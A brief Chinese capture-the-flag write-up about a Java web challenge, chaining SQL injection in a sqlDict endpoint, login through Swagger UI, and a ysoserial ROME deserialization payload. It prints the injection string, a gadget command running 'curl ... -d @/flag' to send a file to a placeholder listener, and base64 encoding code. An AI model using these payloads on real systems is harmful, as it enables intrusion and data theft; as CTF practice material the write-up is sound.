最近学Java反序列化拿这题练练手
打开题目,下载源码,发现Test.class
@RequestMapping({"/common/test"})
public class Test {
public Test() {
}
@PostMapping({"/sqlDict"})
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}
这里可以发现/common/test/sqlDict,调用了SqlDict类中的getTableData函数,这里存在sql注入
POST访问/common/test/sqlDict
http://41eb3b43-0e0c-4579-a3da-0c5bd2f02e9a.node4.buuoj.cn:81/common/test/sqlDict
data:
dbName=myapp?a=' union select 1#
可以发现注入成功,下面我们继续获取账号密码
获得了账号密码,但是这个有什么用呢?这里回到第一步的Test.class
import io.swagger.annotations.ApiOperation;
导入了swagger API,通过查阅资料发现存在 swagger-ui.html文档
发现存在登录和获取当前用户信息功能,这里我们用刚刚获取的name、pwd进行登录
显示登陆成功,这里可以注意到回显data里面的 rO0A,这个开头表示Java反序列化数据经过base64加密后的开头形式,由此可判断这是个序列化数据,那么如何使用这个序列化数据呢?可以注意上一步有个获取当前用户信息
发现序列化数据通过这个接口能够被反序列化为原数据,所以这个入口点就可以进行java反序列化攻击了。通过Burp插件Deserialization Scanner识别一下这个序列化数据,
再用ysoserial生成payload
java -jar ysoserial.jar ROME "curl http://ip:port/ -d @/flag" > Test.bin
再将Test.bin中的数据进行base64加密
import base64
with open("Test.bin","rb") as f:
with open("payload.txt","wt",encoding="utf-8") as f2:
cc = base64.urlsafe_b64encode(f.read()).decode()
f2.write(cc)
将获取的payload.txt发送到服务器,并监听端口
感谢分享 赞一个